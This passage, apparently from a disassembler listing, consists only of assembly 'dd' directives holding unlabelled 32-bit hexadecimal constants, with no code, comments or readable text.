		dd 0E9D705E7h, 0AF440AB5h, 6C928D2Dh, 98734152h, 4D77EA58h
		dd 680993E7h, 0A63043EDh, 4E60B46h, 5B1F5D98h, 0EE265835h
		dd 0FB7A6600h, 4FE9470Ah, 4EF2C21Ah, 67639DE2h,	7C424598h
		dd 0F7899302h, 90AE1BE9h, 0F6EA1A1h, 0F5296514h, 9C2939ABh
		dd 0EB6F6F71h, 68152749h, 4F1578F6h, 0B7281609h, 66E9842Eh
		dd 0FD6850A1h, 3B303111h, 6A7A04EFh, 2DBE581Eh,	0D78C2A6Dh
		dd 3BCC0068h, 0C1582BA1h
		dd 504A03E0h, 40E0D0F1h, 0F3680056h, 5E5A1926h,	969291E9h
		dd 87D7F700h, 1ED83FDh,	4B06D081h, 0D491457Eh, 84B5475Eh
		dd 0C590ACC5h, 0F9056EB8h, 64C93B20h, 0BFEA2BF8h, 215D1C02h
		dd 0C990F4C1h, 0E9F0C2DCh, 81C6BC35h, 0DD6BAFF3h, 32002FF5h
		dd 0BE9F921h, 8D20D39Dh, 0EB0C55CCh, 0E6E9122Ch, 7799B2BBh
		dd 0C4824AF8h, 0BD123220h, 0F9278F56h, 2A61ED8Ch, 0C8BD83A1h
		dd 362CDED8h, 2EC2A5FBh, 5D386E5Dh, 0B25F21A5h,	4FD806B2h
		dd 266B877h, 9DB4992h, 0E962CA29h, 9700809h, 76021A20h
		dd 859F5B4Fh, 0BA1C6CA5h, 0D12F03B5h, 12F2E8EAh, 27323E29h
		dd 0A3A3D7B5h, 9CA64ACAh, 25CD68C3h, 6AE5710h, 0F6CE8807h
		dd 66F140D6h, 0E104C05Ah, 0CB05004h, 8584C4BAh,	7855B257h
		dd 78CDA85Bh, 207D3CDh,	0A2AF5AF3h, 0CAB32764h,	0D95E7B85h
		dd 0E588C081h, 0B73F986Bh, 2FD1FEA1h, 55566000h, 2F1A8D68h
		dd 0FFD02CA5h, 8F0F896Eh, 0F5C23DEEh, 55E8295Eh, 0C900C67h
		dd 4E2F5948h, 0D60DD42h, 99DDDFEEh, 7D322C42h, 4924F050h
		dd 0CF40095Dh, 0F1C4B719h, 0EB9A2BF0h, 9BB4895Bh, 224D9D52h
		dd 6449ACADh, 4F28064Eh, 0FD13E937h, 4825DFBCh,	832C1AF7h
		dd 8DF5E40Eh, 0F39094Dh, 0D60922B1h, 0F905C05Ah, 0CCEB48FBh
		dd 48A63A10h, 28420F7Fh, 53189D2h, 0FBA1407Dh, 0A45983Fh
		dd 7502550h, 6766212h, 88150FAh, 0A9535B16h, 0B7E98240h
		dd 0B1FCECC5h, 3968052Ch, 0DFE74B51h, 16B55C58h, 0EE8012A6h
		dd 5E9CB8BAh, 52C0BFF2h, 0F088E2B6h, 30EAE912h,	0B73D62AEh
		dd 0E9A51FD9h, 0C93CE530h, 3D048C4Bh, 0D3196743h, 6EEAB7EDh
		dd 8CEB3521h, 31E0D101h, 0B8D77011h, 5B1EFB00h,	46ED056Ah
		dd 2D3A0004h, 15A8690Eh, 585AC701h, 179257C1h, 4D936800h
		dd 0D023993Eh, 590B4999h, 21346Eh, 384E35B4h, 0C9F1B6DBh
		dd 88C10F85h, 5916B2E9h, 8AEC1ACCh, 5AEE680Bh, 5B6495DEh
		dd 32D461EBh, 0E1420220h, 24059A7Ch, 0AEDCC42Fh, 4A180DC8h
		dd 81C4C9BDh, 0D93AA16Ch, 17FD4363h, 0EB1E50EBh, 7B238C1h
		dd 2858C204h, 9B2A87D0h, 4915777Bh, 0E20D00A4h,	2D52AF1Fh
		dd 0B0AD3EEh, 8F795B5Dh, 12E8C181h, 0B520C831h,	0A5B68034h
		dd 7EEC000h, 289EF680h,	0AAC3FEF3h, 0E2C75FECh,	0E8D78027h
		dd 0CD079B64h, 2E221BB4h, 0A2D902F2h, 32B101F3h, 0A8A89070h
		dd 27685049h, 78992605h, 233B659Ch, 0FA33208Ah,	0D0D0544Ch
		dd 13EF7288h, 43595BFEh, 42EB8067h, 5166C380h, 0A6B2521Eh
		dd 0D0C2CA9Ch, 7E78E9EAh, 0A0C425BAh, 4070296Bh, 1994300h
		dd 0FD211E95h, 3E277BE9h, 0A919928Ah, 0EEC0BB88h, 202E6567h
		dd 4F1F689h, 0CC99C6F3h, 6B72002Fh, 19F99E5h, 2C64859Dh
		dd 0EC58A1E0h, 5368BAEFh, 71041AADh, 0FB210B6Eh, 0FA7B8C00h
		dd 5B4DE933h, 0EC20DDA3h, 0E5B129AFh, 6135597h,	15ECCC1h
		dd 1A90C531h, 0E0422C02h, 9C3CF790h, 0CAE537B4h, 22E9864Fh
		dd 0EB81022Bh, 161118C3h, 34797440h, 0D0782025h, 515F0574h
		dd 832DB450h, 453D1729h, 39B81FFBh, 0C03DBDCFh,	70F66651h
		dd 58C32729h, 0C8B43A4Bh, 3709ED88h, 80459E06h,	2DFD08BDh
		dd 4682BFFCh, 59C40C93h, 9A5A8740h, 0F7E2CAFAh,	5B588187h
		dd 3A387788h, 0C2BCCE49h, 0DB87A297h, 20DBDAF6h, 215A37B2h
		dd 0C96FBBB5h, 0CBCB2E54h, 562F9647h, 0A2CCD66Ch, 485599E7h
		dd 0CCC528BDh, 3F28AA4Eh, 58F10BC5h, 1284EB50h,	7802AEE8h
		dd 7052E95Dh, 69DBB130h, 0D5C2A0DCh, 4D7DD65Ah,	6A9483EEh
		dd 0CD17520Bh, 5381A184h, 758113FAh, 0CB3F44C2h, 1AC6057h
		dd 88015DB8h, 31D8EE30h, 0FEE85AD7h, 0D567975Fh, 0FEA42092h
		dd 29C2A817h, 67B5A2D6h, 0DC0B4BC0h, 0BF007E45h, 3B6A25B5h
		dd 0B1E04AE9h, 84CB6A47h, 0A5968D4Eh, 0C1B65C0Dh, 6A790E68h
		dd 8008E998h, 0F04E1235h, 225A3AF8h, 6DDE5C87h,	0FC5D0FCBh
		dd 8F310BCEh, 2AFF453h,	32145BC0h, 0F8EC8058h, 9066DE5Eh
		dd 25190051h, 68525075h, 3DAB6FAEh, 4C7731C7h, 83CB3A39h
		dd 0FD1FBC16h, 0A3EF0E9Ch, 0FEAB201h, 0D4EB50C0h, 295CDFA2h
		dd 0E20893D7h, 0C8855A5h, 0F457E729h, 20BAA1C1h, 0F4B986C4h
		dd 5DC68342h, 0E926FD66h, 5F987E9Dh, 75D7EB86h,	6BE1B572h
		dd 0B2E46057h, 21C4147Eh, 0B48786F7h, 53031534h, 56C229B7h
		dd 5C2752D4h, 0B1B65408h, 0A52DFF80h, 402EE971h, 0DE27F7F5h
		dd 0B1E0152h, 1BF94453h, 14F74h, 7D3A2DD8h, 9050796h, 8D3200Ah
		dd 6E0B955Bh, 0B715C68Eh, 3A41E9E2h, 27817B69h,	66BCFE9h
		dd 0F820B3B4h, 0F1C5375h, 0DB83D3F6h, 95C0EBD0h, 1BB4BD00h
		dd 0B058E330h, 282F2632h, 9D25B950h, 590470D3h,	0E95714D3h
		dd 5DB8002Dh, 2141D758h, 3BD3F9C5h, 6F1753C3h, 519F63D3h
		dd 0D9C8F3D2h, 5F4E0C1h, 0E879840Bh, 1C615632h,	0B686DA0h
		dd 0CD3859Ch, 8EB169BCh, 0D4C63C2Fh, 3EB1605h, 0FDE98BE5h
		dd 801E55h, 0CDC6FE05h,	63B81Ah, 91132FD8h, 2055748h, 17183CCEh
		dd 0AF885D01h, 3C372408h, 5FD4D5D1h, 0CD76DF7h,	0CA71ADDEh
		dd 5696D6A1h, 42A2E927h, 0FAF129EEh, 0B05B5E52h, 0E05D49B7h
		dd 0E9E16FA2h, 8EE7B5Dh, 4625C42Dh, 1F149744h, 727F649Fh
		dd 4E4BD6Fh, 5CE8839h, 5A018774h, 59A9AD9Ch, 0C73B1984h
		dd 0FB3FED92h, 4E2C4A28h, 0A1CBE840h, 743F1E70h, 7D14D974h
		dd 0B9B08410h, 80DE2800h, 379069EEh, 39D4E27Eh,	6D8C0089h
		dd 0CF817CF4h, 0EA661277h, 27090D72h, 35E9337Fh, 16AFB74Eh
		dd 4B330449h, 76A51D39h, 6F66798Bh, 0DE2E4688h,	0B6528741h
		dd 0EEF004F9h, 8A4EAB8Bh, 171648A1h, 0D0E47E2Ch, 0E96B0AB2h
		dd 6BB8D15Ch, 82EBE504h, 317D0D7Ch, 4F81D7Eh, 0C8D1A13Eh
		dd 43D98801h, 6D7D59D0h, 763D1020h, 83DA345Eh, 0E4447726h
		dd 0EF47C8DDh, 42A76B05h, 49B88932h, 73843E26h,	8B275213h
		dd 404E5CA2h, 68C8B73Ch, 5DC44F7Ch, 8DAB9638h, 9B656BFFh
		dd 693C3322h, 849C4707h, 0F92E839Ah, 0D8F1FD01h, 103E72ECh
		dd 974B11FCh, 0BF1A3746h, 0A7949049h, 4540BAF6h, 64CAEC4Dh
		dd 0E9EA23FAh, 99592738h, 0D27BD299h, 95AA45F7h, 2C6E0906h
		dd 0A675C8B2h, 0AA10F67Fh, 80F43863h, 61248F1h,	3C19F326h
		dd 202FB072h, 0BB9CEF02h, 42656805h, 825028BBh,	0C07B8C41h
		dd 71234162h, 55E0C12h,	7EE9DBE4h, 77CD9A19h, 0C83A2545h
		dd 245FA8C4h, 2D651689h, 3572816Eh, 3E14D107h, 0DF8ABA82h
		dd 604293BAh, 2AF16B75h, 259E0924h, 77E85457h, 0D783951Fh
		dd 5635ED62h, 2DC56061h, 51972E33h, 0F3F4256Ch,	715EE98Dh
		dd 12B59E08h, 9EA20FAh,	0D2741CC8h, 0C2388870h,	0F9C9E9A1h
		dd 0BFBA94D5h, 23B17EE5h, 0F9649EE9h, 8CCF5008h, 85899D89h
		dd 9CF4947Dh, 0DA006917h, 5D0C4BDBh, 0E916E298h, 0D2BC09DEh
		dd 0B73E5396h, 0CBC44AFCh, 0E97388EEh, 58D978F1h, 0D382B5E4h
		dd 80B95C3Fh, 6DAA3AB8h, 590BC831h, 71618468h, 5B8F82F7h
		dd 485D2A83h, 53BF136h,	29BA28D1h, 2590CEC8h, 0D44E4215h
		dd 0E86C2E8h, 28799955h, 0D0105E32h, 0C5050381h, 0A80D1123h
		dd 7F8C7247h, 0DFD92D20h, 31ED04C9h, 0A8D705B5h, 0BA9875F0h
		dd 0E400144Eh, 63B76853h, 0DB1E5242h, 0C2EB0634h, 89CA877Ah
		dd 0CB7FE32Eh, 10F4204Ah, 28B09888h, 1C7A02CEh,	0D529080Ch
		dd 0F4C455Ah, 5BD985D1h, 0EF92B1B9h, 28FB2776h,	4572A30Fh
		dd 5F65425Eh, 92FFCF5Dh, 5E3AB8C0h, 5CF1ABB2h, 41A46956h
		dd 4E646BB8h, 0B185882h, 0D70219D4h, 80658F09h,	814903E9h
		dd 3C40F8C9h, 0E4924355h, 287493Ah, 59940ED1h, 0A4791293h
		dd 27384F9Dh, 9FBA5210h, 28D4EEC1h, 0C803259h, 70D97F36h
		dd 0C6FCD601h, 0C4108A3h, 0EEA94214h, 0E934307Dh, 0E784B5D5h
		dd 76DEEB5Fh, 1029D126h, 0A73075B9h, 0E1BF0A80h, 5AA31369h
		dd 9DD510C1h, 89DF5001h, 70FB298Eh, 15482BD0h, 0FFF8402h
		dd 590BF6B7h, 0C154F021h, 0CA3F3BA4h, 0E00E7D13h, 0B2516ED1h
		dd 0FB020149h, 95782573h, 0D4776C00h, 2EE6B918h, 976758C4h
		dd 0CC20E127h, 5C2B3202h, 129FA0F6h, 32A7DD3Fh,	91C8C552h
		dd 30D9F680h, 883EA8EDh, 3CD113CFh, 2D1881CAh, 0C8BDD311h
		dd 261E0D1Eh, 0C8E454D6h, 2C7017CDh, 0C54C0ED3h, 62210503h
		dd 7E09D600h, 6F291DE3h, 0F6489524h, 0C2A81A13h, 60161F05h
		dd 0EDA05556h, 2D7BBEADh, 0B342D870h, 6D7FE718h, 6185FCBh
		dd 2AEA5AC4h, 3AD92D22h, 902C0D1h, 75E038CCh, 0F23ADAE2h
		dd 7DBEB900h, 7603A53Ch, 0F702E6C1h, 4E042DDEh,	0D6206B70h
		dd 8B5B481Ch, 0E9C330E0h, 0C10DC131h, 442BCB89h, 6AF367Bh
		dd 23C4F5Bh, 72B1FBB3h,	761FE89h, 0D8B703EBh, 0FC07EB2h
		dd 0D2F602E2h, 4B2965CBh, 0E98B9D67h, 5870C06Ah, 98F04F68h
		dd 3513F88Fh, 6EB839B8h, 8A23BAA4h, 30EBB14Ah, 59D4612Bh
		dd 0F403B2Dh, 6923076Eh, 350D0325h, 0D0F76DF2h,	177F4BB8h
		dd 5840032Fh, 97BCE816h, 63702F60h, 899970F3h, 0EC4F1F4Ah
		dd 0D758C5Ch, 9022166Eh, 2826AC47h, 0FCB008EDh,	0FC96C024h
		dd 0E52A3551h, 0F4C038A8h, 262BD104h, 0A3505BCAh, 20B141D7h
		dd 800FC28Dh, 850D4253h, 0C8E98D4Fh, 129F8584h,	0CEF6F605h
		dd 0C12D4464h, 4B13E33Ah, 7D3195A1h, 5FFAB73Ah,	0A6D06963h
		dd 0F9EF01A9h, 3118D533h, 0E31361FAh, 0C280810Eh, 81F26928h
		dd 3012B5A5h, 950F2170h, 97DDC389h, 84DC13ABh, 0C099800Fh
		dd 3E02030Fh, 862B90BDh, 27E055FEh, 2D81CFB9h, 503B922h
		dd 25E65E58h, 40930BBDh, 0D6651930h, 50EB8080h,	0BEA5D84Ch
		dd 0AF14645Eh, 30198C66h, 0B92984E9h, 0E42E1708h, 0C112FF4Dh
		dd 40985390h, 0D43D4BA0h, 0E6081FF0h, 414430EDh, 52E024Ah
		dd 7200E59h, 68253984h,	57924831h, 45A29FC8h, 80091409h
		dd 317C32CAh, 4D509078h, 680B8E19h, 34465C40h, 0F2B21095h
		dd 8DD68288h, 8552C197h, 8D4A958Fh, 68F96174h, 165B482Bh
		dd 7FF9C8AFh, 187D8B1Ah, 98F17DDh, 0CB460DF5h, 0A162EDF2h
		dd 0D434D8BBh, 0E8566464h, 2768C0F8h, 0BA464D21h, 0DEDD0906h
		dd 0A6D5B9B2h, 9DC46CDAh, 67A234DAh, 0E9406877h, 9FE49AAAh
		dd 8E204216h, 3F759E38h, 0AE5DC892h, 6CE02912h,	6CFE2C0Bh
		dd 54070301h, 0F0E755B1h, 0D2D9E05h, 29B8C0BDh,	0F3E6A0CBh
		dd 0FA6F1386h, 8D40037h, 1AB6343h, 4F95DF4Ah, 5EE08D1Dh
		dd 0CB38C009h, 0C0284C07h, 0B804EA72h, 31C47991h, 8ECFEED0h
		dd 37DB0623h, 3AD7F7E9h, 9806509Dh, 97E49288h, 0C9E81903h
		dd 0A99EE541h, 5D92660Ah, 0E9A04CACh, 45B10914h, 0F772A82Fh
		dd 3E34D54Ah, 835938EAh, 29940CD6h, 0C72F1D99h,	8CE9DA53h
		dd 636D13C6h, 0C597869Ah, 45C0962Dh, 4DC301Ch, 7BB1391h
		dd 35F5E8B3h, 975AF2E0h, 912DC2E4h, 0CB2F1B9Fh,	0BC6B4B87h
		dd 0C96649EEh, 52DD10DEh, 9129F26h, 9521264h, 29C5039Dh
		dd 0DF4B21F2h, 0FE24FD29h, 0E075C5F8h, 4A0992DDh, 0D7E1F281h
		dd 35682F07h, 50B0CD6Ch, 174543F0h, 0BE13F5Eh, 0CE90701h
		dd 0FD4BC42Ch, 0F655CB44h, 320E8BA1h, 66C9FF4h,	111C185Dh
		dd 6C68ED02h, 8AA25F5Eh, 0D304E397h, 0BB9D2804h, 7CB961EAh
		dd 0C44A3C3Ah, 2EFC1779h, 0FF6A85F5h, 0A914EA7Dh, 9D1258F6h
		dd 0D231F97Fh, 7BCEEB71h, 657C5D02h, 90066C52h,	2B6116FBh
		dd 5BAB84Ch, 179B4D45h,	0C8C08A81h, 6853458Fh, 167F7EE9h
		dd 0DBE92D18h, 0A3689D82h, 25941B75h, 620B5944h, 0C66BF854h
		dd 45294869h, 92BFFE2Ch, 0B2544A88h, 0C884BF9Ah, 0BDC10959h
		dd 0E9818027h, 750848F4h, 0B2F93130h, 882C2881h, 16A86F95h
		dd 0E130B533h, 51D551B6h, 8C19ED68h, 8D1B8B2Bh,	285901EBh
		dd 676866C3h, 8142684Bh, 1BE280D9h, 0ECC0B660h,	0E9B009C3h
		dd 6AC79B27h, 9F225C12h, 27BF745Fh, 0F941C4CCh,	5CB2DA29h
		dd 56806CAh, 0B1B5D93Fh, 2C6E263h, 53495104h, 0E844EC50h
		dd 1C9A99B7h, 949D94F2h, 0E12C64C5h, 0ED103B23h, 89E9F3D0h
		dd 2C5483BBh, 3A0288AEh, 0C5DE7A69h, 1668843Ch,	3836A329h
		dd 748D931Dh, 4D58E100h, 5BE9072Bh, 0C06AC1E0h,	2153E1EDh
		dd 0E8002E6Fh, 0CB80DBF6h, 4A9AF42Ah, 20DCE223h, 959EF633h
		dd 585E848Bh, 8E89D9C9h, 1AEF4805h, 66442BDh, 88DD7472h
		dd 0D03A0732h, 68755D11h, 693A0C91h, 0F4DE625Dh, 0B5E9F03Dh
		dd 3BA57955h, 812BECF1h, 4DD796E5h, 5C51C9Ch, 480B19E8h
		dd 0E94EE90Fh, 0BF44C151h, 0BFFC50BAh, 0D2585D1Ch, 71C657C6h
		dd 7DC0615Ch, 34403C28h, 83EB8971h, 43D85314h, 264E1C1h
		dd 3BB0506h, 1FE92D2Fh,	8B7791E5h, 0DBF10503h, 5822143Eh
		dd 9FDE9B05h, 3D860BC7h, 62EC2256h, 93601328h, 74230225h
		dd 81F43361h, 736E983Ch, 2E24DF0Dh, 3E029FAh, 0EC8A3969h
		dd 515AD1B8h, 5903F1B4h, 23730E9h, 77FBFD5h, 0F1606BA9h
		dd 0D47B09CAh, 3788F8C1h, 0FF700640h, 3BA24DE9h, 0BCF8001h
		dd 0ED83B151h, 0CA012B8Dh, 0D32867B2h, 9FBB36E4h, 2C4404ECh
		dd 307841DBh, 4807A96Ah, 0DF890765h, 75260DD2h,	0F6200167h
		dd 7B308627h, 0C4B01640h, 8ECBEB64h, 4003A42Dh,	0A6B90203h
		dd 0E4DC24AEh, 0FCC32C32h, 5E64A1Eh, 0EFEBD5h, 0A5958B48h
		dd 0DA5B01D8h, 0EA854A37h, 47EFA502h, 0BA104359h, 39B4D70Fh
		dd 3F464CD1h, 0F453CE73h, 8852EBD0h, 4B2BFCC6h,	1DD6E3C2h
		dd 78BE51DDh, 3DD1C854h, 0C495FB83h, 253A82C3h,	0A0E06706h
		dd 4149E952h, 57511246h, 6754640Fh, 95D3489Ah, 0F37B02E5h
		dd 646797C7h, 2D7A805Dh, 3CED06ACh, 177F711h, 0E79B9FBh
		dd 7B58C189h, 4C06BF86h, 7506FB03h, 0C0F7D3Bh, 44672C09h
		dd 0E36A032Ah, 3F2E2C2h, 14044905h, 1AC0321h, 500100EAh
		dd 147FA9B8h, 7E01619Fh, 68F7602Ah, 0E5B5078Fh,	0E9518228h
		dd 74539C84h, 80D2A5BDh, 75E1BFD3h, 8B414847h, 2539871h
		dd 0E9CF2953h, 9ADDAEF2h, 0BE167F7Dh, 13884420h, 39CEB8h
		dd 7D553545h, 12951E4h,	3C431AC2h, 0FEAF271Bh, 15E7614h
		dd 0CB2F63F1h, 45E90971h, 0B7504418h, 5064F2Ah,	0AF490368h
		dd 4FD6ED33h, 0A59C8469h, 0FB1CA81Ch, 1D51ED03h, 0CDAF775h
		dd 98F0E904h, 3BEEE3F1h, 0DF5EC04Bh, 766E1546h,	8BCAF1D2h
		dd 77633208h, 5C09BF45h, 8F35E84h, 46177703h, 0B013EADh
		dd 892ED0E4h, 4CEEADF5h, 1D1A9084h, 0A59470C8h,	42E5F3D0h
		dd 68755D08h, 0DDBC99D2h, 76D34D56h, 0CBD6280Ah, 0C5E42631h
		dd 0C981021Dh, 1BC32FA7h, 4D2EAA80h, 0E9251A1Eh, 5E184266h
		dd 0FC8A5A81h, 965A9815h, 20C6D07h, 10DFF75Fh, 41061884h
		dd 37BA270h, 13B8D9FAh,	2197E97Eh, 0EDC1D56Ch, 0AEE4E161h
		dd 9C22678h, 5E970E5Dh,	0CB807F4Fh, 71B01C18h, 0D654DBA2h
		dd 1542BB15h, 4A7080C2h, 19AB2F65h, 81A838BCh, 0EEC2F3E9h
		dd 0C23AFBCFh, 4C5D316Ch
		dd 0B1984BDEh, 41B33ACCh, 1EF70D9h, 447BAF68h, 994F87Ch
		dd 0EA0AD531h, 0F86C2F3Fh, 0C4745949h, 98B2A65Ah, 144E6803h
		dd 38EA33E8h, 0AB5BE24Ah, 6C5C6804h, 0E311C1A3h, 0FAC1A414h
		dd 9113B0Eh, 668104BDh,	10492ECh, 239C4F3h, 70E7DB1Ah
		dd 9F08B28h, 32208C9Ah,	3BB90134h, 0F72C1577h, 410499D9h
		dd 0C5E4EF30h, 860CC14Bh, 307CF079h, 1197D340h,	4971D1D9h
		dd 1E41CC4h, 5217352Ah,	0EC401B7Dh, 3498748Eh, 20472906h
		dd 9088158h, 624A6B96h,	30F0A9EAh, 0A5789B27h, 1CAB43BCh
		dd 51AFBA6Bh, 684DC7F0h, 0F52672F7h, 1012D85Ah,	0F6D657E9h
		dd 0AE680BA8h, 5D303A03h, 5AD303B0h, 19756812h,	3BC46EECh
		dd 835BE416h, 0C2579D40h, 10545C80h, 0ACF5A962h, 0FAA250BCh
		dd 81450A44h, 106A6F2h,	0DD556FC1h, 97C22F2Bh, 750889E9h
		dd 790BB78Fh, 5CFABC1Bh, 0FB63A4F5h, 4A2EB8E4h,	8F46A6A8h
		dd 3FD756B4h, 71AD1EF1h, 0B656AF00h, 0BAE93812h, 8DEBA5C4h
		dd 88AA7C3Ch, 85892DEBh, 0F1677E0Eh, 0CBC1670Ah, 94288A22h
		dd 50BD00C6h, 531B013Bh, 212C1D25h, 1790604Eh, 0BC61884Eh
		dd 772FF844h, 1068FB4Ah, 1ED7747Dh, 0E5015CBCh,	291E53C4h
		dd 0C20662FAh, 0CBFB0FE9h, 0F1CB3CCh, 0E2C59D1h, 0E1D868C6h
		dd 3A16EB05h, 0C902800Bh, 0C0B71BC5h, 0A20C2BBh, 311948E7h
		dd 86DC26F7h, 6139A0E9h, 548F366Bh, 50973ED6h, 0D275EDECh
		dd 0E3C012BAh, 7DEE50ABh, 50D0DE82h, 43625868h,	0AFF5F5Fh
		dd 0EAEF077Eh, 0C54866Ah, 670E280Bh, 8F10947h, 0C3608A4h
		dd 42ECB729h, 5C9602B0h, 248C58A7h, 616F2F60h, 987F0A68h
		dd 0E02C5B7Ah, 22CC0B03h, 787093E9h, 0AC68CA96h, 62E81213h
		dd 0A2F828C5h, 2C521248h, 0E9C2E1F6h, 475DC940h, 443A875h
		dd 0DED7FEFDh, 0E0D4AF21h, 65C437F2h, 0C55D0E27h, 25D0C50Ch
		dd 2F23471Fh, 79C0093Bh, 80819B06h, 7F68EB30h, 1641C57Fh
		dd 960AA2Ch, 0E4D58851h, 0A65964EBh, 0CA94A490h, 4072917h
		dd 0E42B4E1h, 8D7901h, 0ECB51F5Ch, 729D5721h, 52A29CBBh
		dd 0E13F8B82h, 4D82DF09h, 0F05EF489h, 68F0B641h, 0CC6B48D5h
		dd 0E58EC4h, 3BBD554Fh,	77A65C9Ah, 0C5CD0113h, 6006080Ah
		dd 14F6248Eh, 27E94713h, 66583C42h, 51D9545Ah, 0F8DC4553h
		dd 5152A1BEh, 92B6A297h, 684678F4h, 0DF5CA99Fh,	0E8974585h
		dd 54502D13h, 82C5C57Dh, 98770B15h, 97382698h, 0B868ED10h
		dd 0A9F47941h, 0FCF9979Bh, 7D59CE42h, 0B976AF9Ah, 5091A463h
		dd 3279DC9Fh, 96F4D82Fh, 88B87048h, 6C97D716h, 905775E0h
		dd 92E250Fh, 574B2B56h,	0E912CC9Eh, 37EAA6FCh, 0DF559233h
		dd 0F6DECE7Dh, 8A9E5EE2h, 1CEA31BCh, 99289996h,	8187A0A1h
		dd 68CA01B9h, 123C399Dh, 884FC9C1h, 20302543h, 8DA9DDF8h
		dd 0E9590968h, 2310A43Fh, 0BD2640h, 5F12DECh, 4F8DE581h
		dd 9F48CD2Eh, 0E14D0742h, 0E805DEF9h, 0DE16D208h, 0F45AFA82h
		dd 7A77283Bh, 2B473FBCh, 312EDAD1h, 6E97365Ah, 52D32B44h
		dd 73D0081h, 0B04EA423h, 6BB9EC11h, 752599E2h, 6D9C89Ah
		dd 6802E9C0h, 376664ACh, 1F2EBC6Ah, 0B095555Fh,	67680CBFh
		dd 41B6236Fh, 6E8F21C4h, 4A167B8Eh, 0F79244FEh,	8925825Eh
		dd 8080B407h, 70835F4h,	0C3FE58E3h, 1FF75EC0h, 0F011D71Eh
		dd 0D3E2F668h, 30CB8018h, 2E05EB25h, 836974E9h,	0D8A6850Fh
		dd 244B9B76h, 37A82731h, 54208E3Ah, 8B9F1B1Bh, 5AC77C25h
		dd 7BE6A6C1h, 5FE83B28h, 0A83C2532h, 0CF19135Ch, 0C9EB3409h
		dd 3D4C979h, 0F816762Dh, 0A56B09F0h, 0F1FC3146h, 0E6A7694Fh
		dd 163D91D8h, 6382A1B9h, 3DFE9390h, 0F143ADBEh,	70A5083Ah
		dd 3EE6C34h, 71294A38h,	0A8105DC3h, 0F14C9955h,	2554A84Eh
		dd 5FCC42A2h, 0FC7E4594h, 2C1248ABh, 3ED9A1B4h,	5A68A62Fh
		dd 20E94AD8h, 0A32C11h,	816294D5h, 76B12A7Ah, 7E9A6243h
		dd 0CE8000B6h, 88E7FE06h, 4D6F604h, 0BB1918E9h,	75854531h
		dd 31E4318Eh, 0B5B6CC67h, 16A5BDDCh, 68EB763Eh,	0D12768CDh
		dd 0E8F9460Ah, 6F560630h, 0D8DF181h, 9C7520F1h,	357AAC81h
		dd 0A25100C8h, 0DA28DEB2h, 0F169E912h, 0FE0F34EBh, 5C48878Ch
		dd 0B28F7D79h, 0C72AE8A4h, 3A9470F1h, 55DE933h,	0BB2269C2h
		dd 5745F2D0h, 64516409h, 0A77259A7h, 692720E5h,	0B71104AAh
		dd 0C9C304D8h, 0AE3E87F5h, 0AD59AAC6h, 21E6953Dh, 0D8C97BB8h
		dd 0E9B8018Fh, 0F63BCF98h, 2A29281Eh, 956F7120h, 0EB803A40h
		dd 7D64548h, 0E2B151A7h, 92D5E993h, 4E28D844h, 0AD411701h
		dd 136D5D1Ch, 0E395DE75h, 69735A9Ch, 93001B8Fh,	3109BA52h
		dd 2935E113h, 7AB02DBAh, 72576C7h, 0B88906E9h, 5E960A71h
		dd 0B8B0C5A8h, 68257F4Eh, 1D865054h, 8240D0F7h,	38E906E8h
		dd 8FB077F0h, 0B1AAE5B0h, 0E0560FC2h, 5DEA2984h, 1C727381h
		dd 2C820400h, 0A25A4725h, 0F916810h, 0B3F6092Bh, 1F9ECB01h
		dd 62FD100Eh, 4E6F4CC2h, 897B1129h, 0AAE4A88Ah,	0C51979Ah
		dd 0B2904EBh, 0C79CAEBh, 8D3F7DAh, 0E4F82DE9h, 833CE7A7h
		dd 0E3168054h, 1AF95BD8h, 1399A314h, 1502816h, 8F14C68Eh
		dd 7C002E20h, 2FC70D45h, 0E9C81589h, 0C124F687h, 6856090Ah
		dd 7DF75D03h, 0C8EBEE25h, 76F32977h, 3AD2B7E9h,	0FE9C897Eh
		dd 440B5D17h, 2F8455C2h, 6EB7F101h, 0E909D42Eh,	56F9DD6Bh
		dd 0F712014Ah, 56ACA135h, 80E3AA73h, 0C5498B3Ah, 594E4C2Ah
		dd 6A94E54Ah, 8789F1E7h, 0BF35987Dh, 903A13F1h,	0A7410D57h
		dd 80812A42h, 6803E513h, 66F12AA7h, 80274CB7h, 4325E2Ch
		dd 90D1E953h, 244C29B8h, 7B59082Dh, 0B154AD93h,	149F4B4Fh
		dd 0B1050551h, 83327819h, 7912CB70h, 0CAE37FACh, 20C6CA4Eh
		dd 0ABE91883h, 1112358Bh, 885056A9h, 0BA3739Eh,	6C0414B6h
		dd 0D860FB8Bh, 18754D7Dh, 98C28369h, 4716ACEAh,	0DA8307E7h
		dd 0C0CAD0D2h, 1E3F3159h, 6F5DCB20h, 13D129B0h,	0C446E95Ah
		dd 53CAFFB4h, 6A272110h, 30F1D68h, 70E76940h, 1AE4F419h
		dd 6A083125h, 2A2C59C1h, 38C00917h, 48ED4526h, 0E610D071h
		dd 49572D16h, 0FEA22FBh, 956D07C4h, 0B8D8ABD1h,	0E88E4EB5h
		dd 28CF81A7h, 0D0606A53h, 5F07A0F2h, 972DB8C1h,	0CC9F2344h
		dd 718FE09h, 0E5815C39h, 35896FE8h, 0D0821702h,	0D96ABB5Fh
		dd 0F26BEBA3h, 69EE3B3Ah, 7A342999h, 0FD9044Bh,	0C05F6C14h
		dd 0FC397C61h, 0D5B034Ch, 0E352D08h, 3AC4F53Eh,	811533A6h
		dd 8B2DF5E7h, 53C74274h, 2E6373A0h, 2FA9448h, 74BB07DFh
		dd 64843AC0h, 0E9312709h, 2729DE6Eh, 142D3A45h,	3009BAADh
		dd 0EAEDAE2Dh, 0ED136A51h, 8D0C586Eh, 4BAF8F88h, 0E2C6312Fh
		dd 1E746BAEh, 6C32EA81h, 3CD18AFh, 4FFDD9ADh, 607E0CABh
		dd 68935B60h, 0D2024BF2h, 0F5C8B4A7h, 2824D704h, 82436D8h
		dd 75AB886h, 0EF5EF410h, 6D3B1E32h, 0BB080980h,	3498DF87h
		dd 782E8EBFh, 0B6059F3Eh, 0D67E4909h, 0A31B2C8h, 0C9EC06BFh
		dd 20089055h, 8358FECAh, 8248383Ah, 0F45FBB05h,	0EB6D413Dh
		dd 0BD02F33Ch, 13771A19h, 0F8A25161h, 4D2D6148h, 82A97445h
		dd 8B409041h, 6854A0CAh, 0EB05FE27h, 0E96191DEh, 896F79FAh
		dd 3A6F4088h, 3B48D82Bh, 0C5900430h, 89EA3621h,	926AA5h
		dd 200BE409h, 50B76B66h, 0E1681214h, 0EC30EE7Ch, 5A022090h
